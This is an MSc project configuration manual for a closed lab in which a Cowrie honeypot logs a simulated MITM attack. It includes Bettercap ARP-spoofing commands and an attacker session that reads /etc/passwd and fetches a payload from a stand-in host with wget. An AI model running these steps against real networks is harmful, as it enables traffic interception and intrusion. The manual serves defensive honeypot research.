

Configuration Manual

MSc Research Project
Practicum

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MSc Project Submission Sheet
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Project Title: Using Honeypots and Deceptive Technology to Improve IoT security by Detecting MITM Attacks

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Date: 15/09/2025

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Configuration Manual

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Project Title:

Using Honeypots and Deceptive Technology to Improve IoT Security by Detecting MITM Attacks

1. Overview

This project demonstrates how a deception-based honeypot can detect and log Man-in-the-Middle (MITM) attacks in an IoT-like environment.

The setup uses two VirtualBox virtual machines connected via an isolated internal network:

Ubuntu 24.04 – Runs the Cowrie honeypot and packet capture tools.

Kali Linux 2024.x – Simulates the attacker, using Bettercap for MITM and Telnet for intrusion.

All actions, logs, and captures are stored locally and analysed without internet connectivity, ensuring a safe and controlled lab environment.

2. System Requirements

Hardware

- Laptop/PC with 4 GB RAM minimum
- 40 GB available disk space
- Virtualization enabled in BIOS

Software

- Oracle VirtualBox (latest version)
- Ubuntu Server 24.04 ISO
- Kali Linux ISO (latest)
- Cowrie honeypot (installed on Ubuntu)
- Bettercap (pre-installed in Kali)
- tcpdump (installed in Ubuntu)
- jq (installed in Ubuntu for JSON log parsing)
- Python 3 (installed in Ubuntu for quickplots script)

3. Network Setup

Both VMs are configured to use the **Host-Only Adapter** mode in VirtualBox for isolated communication.

IP assignments:

- **Ubuntu (Honeypot)** → 192.168.1.30 (interface: enp0s3)
- **Kali (Attacker)** → 192.168.1.10 (interface: eth0)

To configure static IPs in Ubuntu:

```
sudo nano /etc/netplan/01-netcfg.yaml
```

Example:

```
network:
  version: 2
  ethernet:
    enp0s3:
      dhcp4: no
      addresses: [192.168.1.30/24]
      gateway4: 192.168.1.1
```

Apply changes:

```
sudo netplan apply
```

4. Cowrie Honeypot Setup (Ubuntu)

4.1 Navigate to Cowrie directory

Cowrie was previously installed in:

```
cd ~/cowrie
```

4.2 Start Cowrie in non-daemon mode

```
./bin/cowrie start -n
```

This starts the honeypot so that output is visible directly in the terminal.

5. Packet Capture Setup (Ubuntu)

5.1 Open a second terminal and run tcpdump

```
mkdir -p ~/iot-mitm-results
cp ~/cowrie/var/log/cowrie/cowrie.json ~/iot-mitm-results/
sudo tcpdump -i enp0s3 -w ~/iot-mitm-results/mitm_demo.pcap host
192.168.1.10 -c 200
```

- Captures 200 packets between attacker and honeypot.
- Saved as mitm_demo.pcap inside ~/iot-mitm-results/.

6. MITM Attack Execution (Kali)

6.1 Terminal 1 – Bettercap MITM

```
sudo bettercap -iface eth0
```

Inside Bettercap console:

```
set arp.spoof.targets 192.168.1.30
arp.spoof on
net.sniff on
```

6.2 Terminal 2 – Telnet intrusion

```
telnet 192.168.1.30 2323
```

When prompted:

```
login: root
Password: toor
```

Run attacker-like commands:

```
ls
cd /
cat /etc/passwd
uname -a
wget http://malicious.site/payload
exit
```

7. Log Monitoring & Analysis (Ubuntu)

7.1 View live logs

Open a new terminal:

```
tail -f ~/cowrie/var/log/cowrie/cowrie.json
```

7.2 Generate basic metrics

```
LOG=~/cowrie/var/log/cowrie/cowrie.json
jq 'select(.eventid=="cowrie.session.connect")' $LOG | wc -l
jq 'select(.eventid=="cowrie.login.failed")' $LOG | wc -l
jq 'select(.eventid=="cowrie.login.success")' $LOG | wc -l
jq -r 'select(.eventid=="cowrie.session.closed") | .duration' $LOG \
| awk '{sum+=$1; n+=1} END{if(n) printf("avg_dwell=%.2fs\n",sum/n);
else print "avg_dwell=0"}'
```

- **Connections:** Total sessions initiated
- **Failed logins:** Brute force attempts
- **Successful logins:** Intrusions
- **Dwell time:** Average time attacker stayed connected

8. Quickplots for Visuals (Ubuntu)

Run Cowrie quickplots to create graphs:

```
python3 ~/cowrie_quickplots.py
```

This generates:

- sessions_per_hour.png
- top_commands.png

Move them to results folder:

```
cp ~/sessions_per_hour.png ~/top_commands.png ~/iot-mitm-results/
```

9. Final Results Folder Structure

After the demo, the ~/iot-mitm-results/ directory will contain:

```
cowrie.json
mitm_demo.pcap
```

sessions_per_hour.png
top_commands.png

10. Safety & Ethics

- All tests were performed in a **closed, internal network**.
- No real IoT devices were used.
- No harmful payloads were executed; commands were purely simulated.